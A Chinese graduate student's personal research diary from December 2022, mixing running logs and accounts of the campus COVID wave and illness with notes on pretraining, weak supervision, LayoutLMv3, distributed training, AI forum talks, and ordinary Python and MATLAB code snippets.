  • 周二PB完万米之后,周三混了五圈,周四晚是想要训练的,但是刚换完衣服出实验楼就发现下雨,悻悻而归,周五又是混了五圈,今天不能再混了,但是下午还是下雨,所以只能晚上跑了10圈找找状态,这三天还是太伤了。
  • 周四听师兄博士论文答辩过了,只延毕了半年,成果很丰硕,稳稳地能拿双证,现在压力到了我这一边…

预训练这块最近发布一篇很好的survey:arxiv:2106.07139,其实整体上来看我们是不可能依托学校去研究这种级别的模型,就8块GPU能做啥,最近拼死拼活DCMN+的结果都跑不出来。

这个基本上是把从NLP里的预训练,到多语言多模态的预训练,以及一些数据功效的内容都讲得算是比较明白了(包括一些模型压缩的技术)。

  1. 弱模型 -> 弱标签 -> 混合自训练(弱标签感知的损失) -> 强数据验证 -> 微调 -> 强模型
  2. 数据增强(无标签数据收集,无标签数据预训练,种子词自动生成语料,外部知识源)
  3. 特征增强(引入更多特征,有1篇是用元数据增强的,2020.emnlp-main.670.pdf,不过没太看明白,都是文本分类,主要还是依赖种子词)
  4. 算法:CRF, HMM, 这里典型的隐马尔可夫模型,相当于弱标签即可以观察到的信号,然后去预测真实标签,这个在NERT中是比较常用的
  5. 聚类方法,对未标注或弱标签数据进行虚假标注或是标签增强
  6. data-programming方法:https://aclanthology.org/2021.emnlp-main.104 这个讲的是对话分割,但是没太看明白,
  7. 其他可能的点:
    • 零样本学习(ZSL):https://www.zhuanzhi.ai/paper/f6a555d46d100efdc534956cd7818c8f
    • 高效训练,那篇综述的6.2节提到了一些

20221211

  • 早上去滨江大道参加院庆的跑步活动,其实我出地铁站翻地图的时候就发现旁边是崂山六村,我就一直觉得很眼熟,直到开跑才想起来是sxy很久很久之前给我发的定位是住在那边。早知道提前问问有没有搬走,我估计是还没搬,想叫出来又觉得太唐突,而且一身臭汗好像也不太合适,还是算了。
  • 本来看有三四个师兄穿得还挺专业,看起来应该是跑马的。结果全程就是我一个人独自领跑,后面连个人影都看不到。滨江修了一条跑步用的塑胶跑道(虽然已经完全没有弹性了),但是那个路真的一言难尽,全是上下坡,特别难受,有两个地方居然是W型的上下坡路段,起手4分配给我跑崩了,最后是4’20"的配速收尾,不过作为一场爬坡跑训练也挺不错的。大概前500米我还能看到有个兄弟在后面奋力追我,后面就完全看不到人影。
  • 下午回来就是干活,其实我知道肯定会有事,但是就想早上溜掉。最近学校里风言风语很多,据说🐏了不少,老妈跟我说医院里好多同事也🐏,但是也不影响上班。反正无所谓,我是肯定走不了的,再说对我们来说🐏又如何,早该这样,可惜躺平来的太晚,今年的马应该都结束了,明年真的不知道还能不能有时间训练去参加比赛,事情真的好赶。

LayoutLMv3:repository

一共有三个预训练模型:

ModelModel Name (Path)
layoutlmv3-basemicrosoft/layoutlmv3-base
layoutlmv3-largemicrosoft/layoutlmv3-large
layoutlmv3-base-chinesemicrosoft/layoutlmv3-base-chinese

其中:

  • layoutlmv3-base在FUNSD数据集上预训练(项目中未提供数据来源),故不进行测试。
  • layoutlmv3-large在PubLayNet数据集(link)上预训练,该实体识别数据集非常大(96G),学校可获得的算力与内存资源无法进行测试。
  • layoutlmv3-base-chinese在XFUND数据集(link)上预训练,项目中是对中文部分的数据(即examples/data/目录下的数据)进行训练,就非常小,对应微调使用的数据集只包含149张训练图片和50张验证图片。

模型文件大小:

  • layoutlmv3-base模型文件大小约为500M

  • layoutlmv3-large模型文件大小约为1.3G

  • layoutlmv3-base-chinese模型文件大小约为1G

考虑到三者量级相仿,因此可以使用layoutlmv3-base-chinese模型作为一个测试来估计其余两个模型(估算layoutlmv3-base-chinese模型参数量大约为200M)。

运行

2.1 配置环境(Linux):

解压layoutlmv3-demo.zip并进入layoutlmv3-demo目录,执行:

conda create --name layoutlmv3 python=3.7
conda activate layoutlmv3
# Add --user if you do not have permission
pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple/ --ignore-installed
# install pytorch, torchvision refer to https://pytorch.org/get-started/locally/
pip install torch==1.10.0+cu111 torchvision==0.11.1+cu111 -f https://download.pytorch.org/whl/torch_stable.html
# install detectron2 refer to https://detectron2.readthedocs.io/en/latest/tutorials/install.html
python -m pip install detectron2 -f https://dl.fbaipublicfiles.com/detectron2/wheels/cu111/torch1.10/index.html
pip install -e .

这里安装python包应该是不会出问题的,如果出问题请及时反馈。

2.2 运行预训练脚本

进入examples目录下运行bash脚本train-xfund.shtrain-xfund-dist.sh

  • train-xfund-dist.sh:分布式运行脚本(项目提供),可能需要修改其中关于torch.distributed.launch的配置项,即--nproc_per_node=8 --master_port 4398这些参数。由于我们可用的服务器不支持分布式运行,故该脚本未测试
  • train-xfund.sh:删除train-xfund-dist.shtorch.distributed.launch的配置项。已测试可以运行。某次运行日志结果在train-xfund.outtrain-xfund.err

2.3 运行输出

运行结束后,微调的模型将保存在layoutlmv3/examples/path/to/outputs目录下(如果需要进行重复运行预训练脚本,需要清空该目录,或直接删除该目录)。


20221212

  • 校内的情形似乎恶化了,但是总感觉是杞人忧天。心中无🐏,自然开放。
  • 被绑上了大模型测试这条贼船,这个月指定没好日子过了。但是明天的训练我是不会放过的,这个月计划会跑一个半马。实话说昨天中午回来,下午东哥是有训练的,我早上其实没有跑得很尽兴,要不是上了贼船,昨天下午就准备要放飞自我了。

torch提供的DataParallel以及DistributedDataParallel都只是数据并行,而且相对来说不是那么智能与高效。目前看到也可以用python -m torch.distributed.launch --[参数名] [参数值] xxx.py这样的方式进行运行,这个其实暂时还没有搞得特别明白,因为在自己的模型上测试是会报torch.distributed.elastic.multiprocessing.errors.ChildFailedError,感觉是需要做一些配置设定的,虽然LayoutLMV3是可以跑通的。

当然这不是主要问题,其实更多的时候我们需要的是模型并行,因为一般来说模型占用的显存要远远超过一个Batch的数据量。这个其实很麻烦,但是我想了一下确实是可以在代码层面上实现的,即在定义模型时将不同的层配置到不同节点上,也可以考虑在模型定义完之后使用model.named_parameters()来依次将每个参数分配到各个节点上。但是好像我看到deepspeed(https://github.com/bigscience-workshop/Megatron-DeepSpeed)似乎可以做,我看到LayoutLMV3里用到这个依赖,但是里面好像又没有用到deepspeed这个库(这个好像只能在linux中安装,Windows不能安装成功)。

感觉computation efficiency也是一个很好的课题,这是我们现在看的论文基本不会提到的点。但是感觉也很难再下功夫钻研这方面的东西,这有点涉及理论计算机那边的研究,但是又比那种传统的作业调度要复杂得多。


20221213

  • 曹东勃有句话说得挺好,我们在天上飞了三年,也该到地上体验一下正常的生活了。很显然,着陆并不是很顺利。这又让我想起鲁迅那句经典的话,中国人的性情是总喜欢调和折中的… 后面就不说了。
  • 中午在实验室小憩了会儿起来,就被通知房间里有人🐏了,让我们赶紧滚蛋。三个学长学姐比较乖就走了,我实在是不想走,上半年就🐏了几个都防不住,现在都烂成这样还想防不扯淡么。但是两点蓝白队已经来了,不得不走。本来早上东哥还说在校的几个队员今天再最后集训一次,下午个个都忙着在整理行李准备跑路。
  • 计划是今天上长距离,最好是半马,因为可能之后没有机会跑场地了。于是下午两点带走实验室所有东西便前往操场,还挺轻松,有点想回家,天高皇帝远。但是还有好多事情没搞完,指定溜不了,但是至少在这样一个阳光明媚的下午,没有人可以打扰到我。刻意压着心率跑,10km之后小腿率先发出哀鸣(跑完发现前脚掌已经磨得有点疼了,这是第一次用前脚掌跑10km以上的长度),还是太勉强,今年只跑过三次10km,虽然刷出PB,但是体能还是不够上半马。最后是12km(30圈)用时51’38",平均配速4’18",平均心率170,心率超过174的时长只有两分钟(以前基本上80%的时间心率都在174以上),跑得很保守,估摸着明年上半年比赛都可以参加,想这个冬天把半马练进90分钟好难。

非静态成员函数后面加const(加到非成员函数或静态成员后面会产生编译错误),表示成员函数隐含传入的this指针为const指针,决定了在该成员函数中,任意修改它所在的类的成员的操作都是不允许的(因为隐含了对this指针的const引用);加了const的成员函数可以被非const对象和const对象调用,但不加const的成员函数只能被非const对象调用。总结来看就是函数能加const就加一个,反正也不会减小权限,本质是在扩大权限。

Megatron-DeepSpeed这个项目很值得跟进,看下来主要是在做数据并行,但是README中确实也提到有模型并行的部分,没太看明白是在哪个部分实现的。


20221214~20221216

  • 昨天混管异常,今早就不放我进校,这事情就很搞。昨天的通知是从16号起,校内人员不再查验hc,校外人员可通过48小时hc入校,然而门卫这里他说啥就是啥,无可奈何。早上是做了单管出来,在校门又当场做了抗原(阴),扯了半天皮,还是死活不放人,连个早饭都不让吃,还搁那儿录像恐吓我。下午单管出来又没问题,这找谁说理去,各种魔幻现实,属实是整不会了。
  • 羊不羊对我来说是无所谓,头孢兑酒的高烧我都能不吃药硬扛过来,但学校这一年总把人当猴耍,实在辱人太甚。做事实在点,少些漂亮话来粉饰太平,让人认清现实,说到底都是好日子过太久,由奢入俭难罢了。一个个嘴上担心自家老人,这种破事在老一辈吃过的苦面前算个P。
  • 昨天下午趁天气好自测5000米,冲得太猛,3000米跑炸,用时11’34"(如果能进11’30"应该就比较稳能开20分钟),后补了几个400米间歇,没有一起练的伙伴,到底是无法拼尽全力的。接下来不是下雨就是零下,反正有好天气我都会认真训练,坏天气就慢跑养生,以长距离为主,5000米以下的距离这辈子恐怕是没啥机会上赛道的。
  • 说起回家,虽然现在各种阻力都在逼迫我们回家,但至少也要等到29号项目ddl之后。还有些私心,或许是想跟sxy见个面的,她也确实很拼了。

学术界和工业界对于目前AI发展的探究方向是有显著差距的。就我目前的理解来看,学术界更偏向于方法论,工业界则注重训练成本的控制。事实上工业界并不关心模型用了多么花里胡哨的模块,甚至对于他们来说模型的基础模块越简单越好,因为越简单越可信,而且很多时候确实花里胡哨地搞一大堆机制还不如直接Transformer搭积木来得靠谱。工业界更多的是在复现学术界的模型,并验证其可用性。

从这个角度来看还是学术界做的事情要有趣一些,昨天本院的AI论坛结束,上半场三个专家的汇报受益匪浅,做个记录以供分享。

  1. 交大朱其立教授分享了五个对话系统中的任务:

    • QA Matching:这个说的是两个人在版聊(比如微信聊天中),问题和回答往往不是一一匹配的,比如我可能一次问了两个问题,另一个人做了一句回答。或者是我问了一个问题,另一个人做了多句回答。更多的情况是,问题和回答是错综交叉的,如何在对话中捕获到对应的QA pair,是一件很困难的事情。他们用的方法是建立History的Mutual Attention,简单的说就是会把一个人连续说的几句话做成一个history,然后与另一个人之后说的话进行注意力匹配,然后损失值上会添加一个距离项,因为一般来说,靠得越近的两句话倾向于是成对的,离得太远到底还是更不太可能是成对的QA。
      在这里插入图片描述

    • Response Selection:根据一串多人对话记录,为下一个人选择合适的一句答复语。这个的难点在于多人对话,可能是在讲多件不同的event,那么就需要捕获到哪些event是已经结束的,哪些还是在进行的,即需要划分thread,然后对需要答复的thread进行答复语生成,这个其实还是挺难的。关键是在于thread的划分,他们的用的方法特别简单,就是用的类似依存分析的方法,计算两句话相似度,然后找到似然最大的那个链的划分作为一个thread,讲道理这个方法还是很精妙的,如果对话内容不是特别刁难人的话。
      在这里插入图片描述

    • Interpersonal Relational Recoginition:这个是根据对话内容来判断两个人的人际关系(朋友,配偶,父子),但是这个是有选项可选的,并不是全分类问题,而且说句实在话,只靠对话内容,真的能分辨出两人的关系嘛(如果不是特别明显的话)。而且总感觉这个是可以通过一些比较简单的规则方法得到很好的结果的。当然这个做法并不是很难,本质上就是一个文本分类问题,与常见的文本分类任务的处理没有什么太大区别。
      在这里插入图片描述

    • Reduce Speaker Sensitivity:这个是说对话人的姓名会影响到模型的输出(即换一个名字,输入到模型里,得到的输出会有区别,我想要消除这种现象)。其实说白了就是模型没可解释性,以前的一些做法是在训练时直接把人名遮掉(或者换成Speaker1,Speaker2这样的一般指代),这里的话呢朱教授做的方法比较新奇,它是引入了一个新的损失,就是希望让不同的人名输入时,隐层的cross attention的差别尽可能地小,这个就有点类似迁移学习里在适应预训练模型时(微调),让预训练模型地隐层状态变得尽可能小一点
      在这里插入图片描述

    • 最后一个是文本综述,这个就不多说了,BART是目前主流TS模型,这里值得注意的一个问题是,目前这种文本生成任务,一个比较麻烦的问题就是metric不好选,因为一句话总是有不同的说法,很难评价两个生成的好坏,单纯的用BLUE指标肯定是不够准确的。有两个其他的选择:① 用BERT的输出作为ground truth,然后比较预测输出和BERT输出的相似度 ② 依赖人工评估

肖仰华教授的部分下次写,他讲得内容要更有趣一些。

20221217~20221218

  • 这几天随处可见感冒的人,隔壁lbz也是咳得不行。下午偷空去跑了十圈,状态不是很好,可能气温太低,虽然这几天睡得还行,但饮食有些不规律,食堂的窗口越来越少,时间卡得也越来越紧,学期还没结束,人走了大半,有种莫名的凄凉感。
  • 今天我的喉咙也开始疼了,可能是因为天天光膀子睡觉,半夜偶尔还起来上厕所的缘故…今天跑完要开始穿秋衣秋裤了,到年底估计只能随缘,好天气碰上好状态,可能会再试一次半马。
  • 这两天在外面走的比较多,就我的所见所闻,其实老百姓大多看得挺开,心里都有数,🐏无非是早晚的事,到哪儿都逃不掉,日子该咋过还是咋过。坐办公室的白领可能搞得很紧张(比如院里一些行政老师),说句实在话,对于中老年人来说,真正怕的是那些慢性病。好日子并非理所当然,环境变得残酷,人就只能选择适应罢了,多大点事,大不了躺两天。

认知智能与类脑,这里大约有两个比较fancy的点:

  • 由人脑的结构启发得神经网络模型,包括人脑中的各种认知模块,记忆存储容器等等。这种模型一般都是与多模态相关联,因为了模仿人脑的认知,需要构造视觉信号和听觉信号,虽然说很多时候这个只是在造一些很新颖的词,实际上那些模块和容器还是常规的基础模块(比如transformer)。

  • 从人脑对不同语义的认知入手,比如对隐喻、幽默、反讽等高阶语义的认知,这衍生出的是各种新的挑战任务。但是感觉工业界估计对这些并不那么感冒。

但是总归是很有趣的事情,记录一下隔壁肖仰华教授的报告:

  • 智能是对知识的获取与存储:
    在这里插入图片描述

  • 认知智能(希望机器包含人类的高阶认知能力,归纳演绎的能力)
    在这里插入图片描述
    在这里插入图片描述

  • 人类的感知与认知是完全融合的问题(多模态的最后1km就是人类的感知能力),认知的强化学习(目前还是多在游戏博弈问题中),目前的认知学习的方向:
    在这里插入图片描述

  • 知识图谱与大规模预训练模型是认知智能的基石,其实现在大方向就是预训练和知识融合

  • 隐喻认知:
    在这里插入图片描述
    想要做隐喻认知,先要探测明喻:
    在这里插入图片描述
    在这里插入图片描述提供测试题来测试大模型能否探测明喻信息,并提出了新的loss来调整模型:

在这里插入图片描述明喻隐喻知识库构建?
在这里插入图片描述在这里插入图片描述明喻改写:

在这里插入图片描述如何评价生成结果的好坏?
在这里插入图片描述

  • 幽默认知:
    在这里插入图片描述在这里插入图片描述他们提出了一个新的幽默数据集,还是中文的,这还挺厉害的,但是我总是觉得幽默这个东西可能不同语言间还是不能相通。如果真的有办法在多语言上对幽默认知进行迁移,那才能说这个幽默智能是真的effective的
    在这里插入图片描述结论:大模型可以捕获幽默的注意力,以及生成幽默语义,但是存在局限性:

在这里插入图片描述

在这里插入图片描述
关于幽默数据集的构造:通过爬取高赞评论以及一些识别特征来识别幽默。


20221219

  • 4:00:腋下37.8℃,体感良好,没有很难受。没有畏寒,头也没有很疼,但是的确能感受到发烧。起床喝了两杯热水,顺便剪了一下手指甲。
  • 7:30:腋下38.4℃,体感有点差,但是也没有明显畏寒,头微痛,腿有点麻。正常起床去主校区。
  • 14:30:腋下38.8℃,午觉起来,严重不适,头痛欲裂,身上疼痛感明显,但是不及七月双硫仑中毒的疼痛(当时已经浑身酸麻到几乎失去知觉),但是不咳嗽也无鼻涕,自测抗原阴性。开始吃银黄颗粒和头孢克肟。
  • 老妈嘲讽我报应是来的如此之快,之前我吹牛说要是🐏了肯定是无症状,可是我估摸着这次也没🐏啊。主要还是前两天凉受足了,昨晚洗完澡才第一次穿秋衣秋裤,昨天又在外面单衣薄裤地骑车半个小时,回寝已经冻得瑟瑟发抖。昨天跑步时已经感觉到身体可能真的出问题了,但是晚上食欲依然很好,去蜀地源淦了三大碗饭。晚上临睡隐隐感觉要G,果然半夜就开始发烧。
  • 阿根廷成为最后赢家,sxy是真的气死了,之前她一直诅咒廷蜜、梅蜜反噬,结果没能应验。讲道理磕cp还是没必要捧一踩一的,知足长乐。

关于DDP(DistributedDataParallel)的用法总结:

  1. 首先设备要求是>=2台GPU

  2. 训练脚本示例:

import os
from datetime import datetime
import argparse
import torch.multiprocessing as mp
import torchvision
import torchvision.transforms as transforms
import torch
import torch.nn as nn
import torch.distributed as dist

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-n', '--nodes', default=1, type=int, metavar='N',
                        help='number of data loading workers (default: 4)')
    parser.add_argument('-g', '--gpus', default=1, type=int,
                        help='number of gpus per node')
    parser.add_argument('-nr', '--nr', default=0, type=int,
                        help='ranking within the nodes')
    parser.add_argument('--epochs', default=2, type=int, metavar='N',
                        help='number of total epochs to run')
    args = parser.parse_args()
    args.world_size = args.gpus * args.nodes
    os.environ['MASTER_ADDR'] = '127.0.0.1'
    os.environ['MASTER_PORT'] = '8888'
    mp.spawn(train, nprocs=args.gpus, args=(args,))


class ConvNet(nn.Module):
    def __init__(self, num_classes=10):
        super(ConvNet, self).__init__()
        self.layer1 = nn.Sequential(
            nn.Conv2d(1, 16, kernel_size=5, stride=1, padding=2),
            nn.BatchNorm2d(16),
            nn.ReLU(),
            nn.MaxPool2d(kernel_size=2, stride=2))
        self.layer2 = nn.Sequential(
            nn.Conv2d(16, 32, kernel_size=5, stride=1, padding=2),
            nn.BatchNorm2d(32),
            nn.ReLU(),
            nn.MaxPool2d(kernel_size=2, stride=2))
        self.fc = nn.Linear(7*7*32, num_classes)

    def forward(self, x):
        out = self.layer1(x)
        out = self.layer2(out)
        out = out.reshape(out.size(0), -1)
        out = self.fc(out)
        return out


def train(gpu, args):
    rank = args.nr * args.gpus + gpu
    dist.init_process_group(backend='nccl', init_method='env://', world_size=args.world_size, rank=rank)
    torch.manual_seed(0)
    model = ConvNet()
    torch.cuda.set_device(gpu)
    model.cuda(gpu)
    batch_size = 100
    # define loss function (criterion) and optimizer
    criterion = nn.CrossEntropyLoss().cuda(gpu)
    optimizer = torch.optim.SGD(model.parameters(), 1e-4)
    # Wrap the model
    model = nn.parallel.DistributedDataParallel(model, device_ids=[gpu])
    # Data loading code
    train_dataset = torchvision.datasets.MNIST(root='./data',
                                               train=True,
                                               transform=transforms.ToTensor(),
                                               download=True)
    train_sampler = torch.utils.data.distributed.DistributedSampler(train_dataset,
                                                                    num_replicas=args.world_size,
                                                                    rank=rank)
    train_loader = torch.utils.data.DataLoader(dataset=train_dataset,
                                               batch_size=batch_size,
                                               shuffle=False,
                                               num_workers=0,
                                               pin_memory=True,
                                               sampler=train_sampler)

    start = datetime.now()
    total_step = len(train_loader)
    for epoch in range(args.epochs):
        for i, (images, labels) in enumerate(train_loader):
            images = images.cuda(non_blocking=True)
            labels = labels.cuda(non_blocking=True)
            # Forward pass
            outputs = model(images)
            loss = criterion(outputs, labels)

            # Backward and optimize
            optimizer.zero_grad()
            loss.backward()
            optimizer.step()
            if (i + 1) % 100 == 0 and gpu == 0:
                print('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}'.format(epoch + 1, args.epochs, i + 1, total_step,
                                                                         loss.item()))
    if gpu == 0:
        print("Training complete in: " + str(datetime.now() - start))

20221220

  • 昨晚七点半就洗澡睡了,因为六点左右烧到39.5℃,浑身上下已经疼到只能趴在桌上喘气,畏寒得不行。但是睡了两小时起来明显感觉状态又改善不少,做了会儿事情到11点多接着睡。
  • 今早八点测温只有37.4℃,中午再测已经恢复到36.6℃,下午四点37.6℃(下午四点是一天体温最高的时间),除了喉咙还有点疼,其他地方已无不适。不过今天开始咳嗽有痰,应该也无大碍。前后烧了一天,一共只喝了两包银黄颗粒,没有吃退烧药和止疼药,全靠喝水和睡觉,说到底还是全凭个人免疫力,能扛得住就少吃药,疼痛来得越凶就去得越快。

HP滤波:

# -*- coding: utf-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn

import pandas
import statsmodels.api as sm
from matplotlib import pyplot as plt

LAMBDA = 10	# 可以修改lamb的取值, 越大拟合结果越平滑


dataframe = pandas.read_csv('data.txt', sep='\t', header=0)

hp_cycle_pi, hp_trend_pi = sm.tsa.filters.hpfilter(dataframe['pi'], lamb=LAMBDA)
hp_cycle_pmi, hp_trend_pmi = sm.tsa.filters.hpfilter(dataframe['pmi'], lamb=LAMBDA)


dataframe['pi-trend'] = hp_trend_pi
dataframe['pmi-trend'] = hp_trend_pmi

fig = plt.figure(figsize=(10, 6))
ax = fig.add_subplot(111)
dataframe[['pi', 'pi-trend']].plot(ax=ax, fontsize=24)
dataframe[['pmi', 'pmi-trend']].plot(ax=ax, fontsize=24)

plt.title(f'HP filter with lambda = {LAMBDA}')
plt.show()

dataframe.to_excel('data-hp.xlsx')	# 结果导出到excel中


20221221

  • 昨晚申报书搞到十二点多,以为人已经全好了,结果今早六点就咳醒。量了体温36.7℃,但就是咳得厉害,鼻子不通甚至还流了不少血。肠胃也差,应该是这两天饮食失调所致。还是要老老实实早点休息才行。本来以为结束了,结果后劲这么足,难受得要死。
  • 听老妈说医院里有将近一半都中招了,她自己科室里两个小年轻都发烧居家,老妈自己说喉咙也有点疼,而且外婆也感冒了。现在就是看不清楚到底拐点会在何时出现,还是说远远未达峰值。真心难绷。
  • 学校老持家了,大冬天图书馆不开空调,只有二三楼的阅览室是温暖的,其他地方都快给人冻死。碰见炳杰也在二楼,老王没有🐏,也无异常症状,或许自律的生活作息是能避免染疾,说到底我们这一代熬夜太多搞得体质太差,但总归是有人可以无伤通关的。

PDF拆分与合并,WORD合并:(推荐使用Q文档,看似收费,其实是免费的)

WPS里PDF转WORD非会员只能最多转不超过5页的PDF,然后居然还不能指定PDF里的页码,一怒之下把PDF一页一页地拆下来再去转,完事再一个个的拼起来,白嫖金山从我做起。

def merge_pdf(pdf_path: str, save_path: str):							
	writer = PdfFileWriter()										
	total_pages = 0														 
	pdf_filepaths = []											
	for root, dirname, filenames in os.walk(pdf_path):
		for filename in filenames:								
			try: 
				suffix = filename[-4:]
			except: 
				continue											
			if suffix=='.pdf':									
				pdf_filepaths.append(os.path.join(pdf_path, filename))
	for path in pdf_filepaths:										
		reader = PdfFileReader(open(path, 'rb'))						
		pages = reader.getNumPages()								
		total_pages += pages										
		for i in range(pages): 
			writer.addPage(reader.getPage(i))		
	writer.write(open(save_path, 'wb'))

def split_pdf(pdf_path: str, save_path: str, split_size=1):
	reader = PdfFileReader(open(pdf_path, 'rb'))
	pages = reader.getNumPages()
	for i in range(0, pages, split_size):
		writer = PdfFileWriter()
		for j in range(i, min(i + split_size, pages)):
			writer.addPage(reader.getPage(j))
		writer.write(open(f'{str(i).zfill(3)}' + save_path, 'wb'))	

def merge_word(word_path: str, save_path: str):

	from docx import Document
	from docxcompose.composer import Composer
	doc = Document()
	cp = Composer(doc)
	for filename in os.listdir(word_path):
		print(filename)
		cp.append(Document(os.path.join(word_path, filename)))
	cp.save(save_path)

20221222~20221223

  • 今早发现远程连不上办公室电脑,赶回实验楼查看情况,果然是昨晚本部线路故障导致实验楼停电,所有机子都挂了,赶回来开机的不止我一人,然而学校莫名其妙地把实验楼办公室开门权限给取消了,摆明了就不想让人回来,几个人在下面跟门卫扯皮,才同意给开门,结果因为线路故障导致网络信号又特别差,好多人开机回去发现还是连不上,我直接在办公室待到七点多再走,反正来都来了,还怕被撵走不成。
  • 这周饿得不行,主要是一直吃不下饭。本打算回三门路那家黄山菜饭喝点骨头汤养养胃,结果老板也发烧歇业。我估摸再不能吃泡面,否则我真得饿死,于是硬顶着寒风到三公里外的蜀地源大快朵颐。虽然这两天一旦咳起来就特别厉害(不咳的时候感觉就完全好了),但总归三碗饭下肚就知道身体肯定没事了。自然已经停跑许久,但最多休息一整周到25号,下周开始肯定是要赶紧操练起来,今年还欠一个半马没有跑,估计是没希望了。
  • 老妈科室已经全军覆没了,她是昨天正式🐏的,虽然前几天就有点不适了,老爸也🐏了,不过他是假期多,可以直接回来休息一周。外婆也🐏了,肯定是老妈传过去的,奶奶暂时还行。现在一线医生的压力是三年以来最大的时期,老妈科室因为全部都🐏了,就只能轮班,总是不能没人上班的,无奈之举,说到底冲击的压力最终还是汇入医疗系统,进而压在的就是一线尤其是基层医生肩上,我觉得一个月以内必然会出现一些不幸的新闻,说漂亮话总是解决不了问题的。

fmincon的参数列表:

fmincon(func, x0, A, b, Aeq, beq, lb, ub, nonlcon, option);

其实我一直不是很懂matlab函数定义上的重载方式,我感觉matlab的函数重载不仅可以通过形参列表的不同,也可以通过返回值数量的不同。

这个函数前两个参数必须给定,后面都是可选参数,不想给就赋值空向量。

关于option的写法下面是一个样例:

options = optimset('Algorithm','sqp','MaxFunEvals',5000,'Display','off');

奇数位上是参数名,偶数位是对应的参数值。


20221224~20221227

  • 跟wyl和syr极限拉扯了三天,反正ddl是29号,想再拉扯也没机会了。
  • 本来我昨天就要准备跑,结果又是临时来事,最后只能晚上去小跑了7圈,感觉其实并没有特别差,虽然只是7天没跑,却有种大半年没跑过步的感觉,腿都不顺了。今天下午趁最后一个晴天(明后都要下雨),再去试了一下,羊毛衫+紧身短裤,确实还是托大了,4分配起手,差不多三圈心率就直逼180,完全坚持不下来,最后是断断续续跑了5km,基本上三四圈右胸就开始疼,我也不知道是一周不跑的问题还是真的是🐏带来的问题。直觉上还是太久不练导致的。但是不管是什么原因,年底想要冲最后一个半马,照这个状态是没啥机会了,能恢复七八成就算是谢天谢地了。
  • 生存环境越来越恶劣,图书馆现在只开一楼,还不开空调,三门路又关了一个门,现在出一次门得从秋阳路绕道,得多走四五百米,整个就是在逼人回家。我的底线是田径场,如果田径场关门,那我确实也没必要再留在这里了。

attention module:

# -*- coding: utf-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn
# Implementation of attention mechanism

import torch
from torch.nn import Module, Linear, Dropout, functional as F

# @param Q				: (N, T_q, d_k)
# @param K				: (N, T_k, d_k)
# @param V				: (N, T_k, d_v)
# @param dropout_rate	: @param p of torch.nn.functional.dropout
# @param training		: @param training of torch.nn.functional.dropout
# @return				: (N, T_q, d_v)
# PyTorch version of scaled_dot_product_attention with no mask
# Resource: https://github.com/Kyubyong/transformer

class ScaledDotProductAttention(Module):
	"""PyTorch version of scaled_dot_product_attention with no mask
	Resource: https://github.com/Kyubyong/transformer/blob/master/modules.py"""
	def __init__(self, dropout_rate=0):
		super(ScaledDotProductAttention, self).__init__()
		self.dropout_module = Dropout(p=dropout_rate)
		
	# @param Q				: (N, T_q, d_k)
	# @param K				: (N, T_k, d_k)
	# @param V				: (N, T_k, d_v)
	# @return				: (N, T_q, d_v)
	def forward(self, Q, K, V):
		return torch.bmm(self.dropout_module(F.softmax(torch.bmm(Q, K.permute(0, 2, 1)) / Q.size(-1) ** 0.5, dim=-1)), V)


class MultiHeadAttention(Module):
	"""PyTorch version of scaled_dot_product_attention with no mask
	Resource: https://github.com/Kyubyong/transformer/blob/master/modules.py"""
	def __init__(self, d_model, num_heads=8, dropout_rate=0):
		super(MultiHeadAttention, self).__init__()
		assert not d_model % num_heads, f'Param `num_heads` should be divided by `d_model`, but got num_heads={num_heads} and d_model={d_model}'
		self.size_of_head = int(d_model / num_heads)
		self.W_Q = Linear(d_model, d_model, bias=True)
		self.W_K = Linear(d_model, d_model, bias=True)
		self.W_V = Linear(d_model, d_model, bias=True)
		self.W_O = Linear(d_model, d_model, bias=True)
		self.scaled_dot_product_attention = ScaledDotProductAttention(dropout_rate=dropout_rate)
	
	# @param queries: (N, T_q, d_model)
	# @param keys	: (N, T_k, d_model)
	# @param values	: (N, T_k, d_model)
	# @return		: (N, T_q, d_model)
	def forward(self, queries, keys, values):
		Q = self.W_Q(queries)												# Q			: (N, T_q, d_model)
		K = self.W_K(keys)													# K			: (N, T_k, d_model)
		V = self.W_V(values)												# V			: (N, T_k, d_model)
		Q_ = torch.cat(torch.split(Q, self.size_of_head, dim=-1), axis=0)	# Q_		: (h*N, T_q, d_model/h)
		K_ = torch.cat(torch.split(K, self.size_of_head, dim=-1), axis=0)	# K_		: (h*N, T_k, d_model/h)
		V_ = torch.cat(torch.split(V, self.size_of_head, dim=-1), axis=0)	# V_		: (h*N, T_k, d_model/h)
		outputs = self.scaled_dot_product_attention(Q_, K_, V_)				# outputs	: (h*N, T_q, d_model/h)
		outputs = torch.cat(torch.split(outputs, Q.size(0), dim=0), axis=2)	# outputs	: (N, T_q, d_model)
		outputs += queries													# Residual connections
		return outputs

20221228~20221229

  • 昨天老妈老爹去苏北医院拍CT,老妈肺部感染,听起来显然是不太好,不过感觉老妈还是比较精神的,应该也不至于太坏。带病上了两天班,确实还是太勉强了。说不担心肯定是假的,但是似乎也没有什么好办法。
  • 今天AI2030提交结束,昨天又改了四五版,一点钟王英林在群里又发现了几个问题,我实在是不想改了,结果王英林凌晨五点多又发了一版,真担心他老人家身体行不行,这么能熬的吗…
# -*- coding: utf-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn
# Tools for pretrained model

from setting import PRETRAINED_MODEL_SUMMARY

from transformers import (AlbertTokenizer, AlbertModel, AlbertConfig,
						  BertTokenizer, BertModel, BertConfig,
						  RobertaTokenizer, RobertaModel, RobertaConfig)


def load_transformer_tokenizer(model_name='albert-base-v1'):
	tokenizer = eval(PRETRAINED_MODEL_SUMMARY[model_name]['tokenizer']).from_pretrained(PRETRAINED_MODEL_SUMMARY[model_name]['path'])
	return tokenizer

def load_transformer_model(model_name='albert-base-v1', device='cpu', **kwargs):
	if kwargs:
		config = eval(PRETRAINED_MODEL_SUMMARY[model_name]['config'])(**kwargs)
		model = eval(PRETRAINED_MODEL_SUMMARY[model_name]['model']).from_pretrained(PRETRAINED_MODEL_SUMMARY[model_name]['path'], config=config)
	else:
		model = eval(PRETRAINED_MODEL_SUMMARY[model_name]['model']).from_pretrained(PRETRAINED_MODEL_SUMMARY[model_name]['path'])
	return model.to(device)

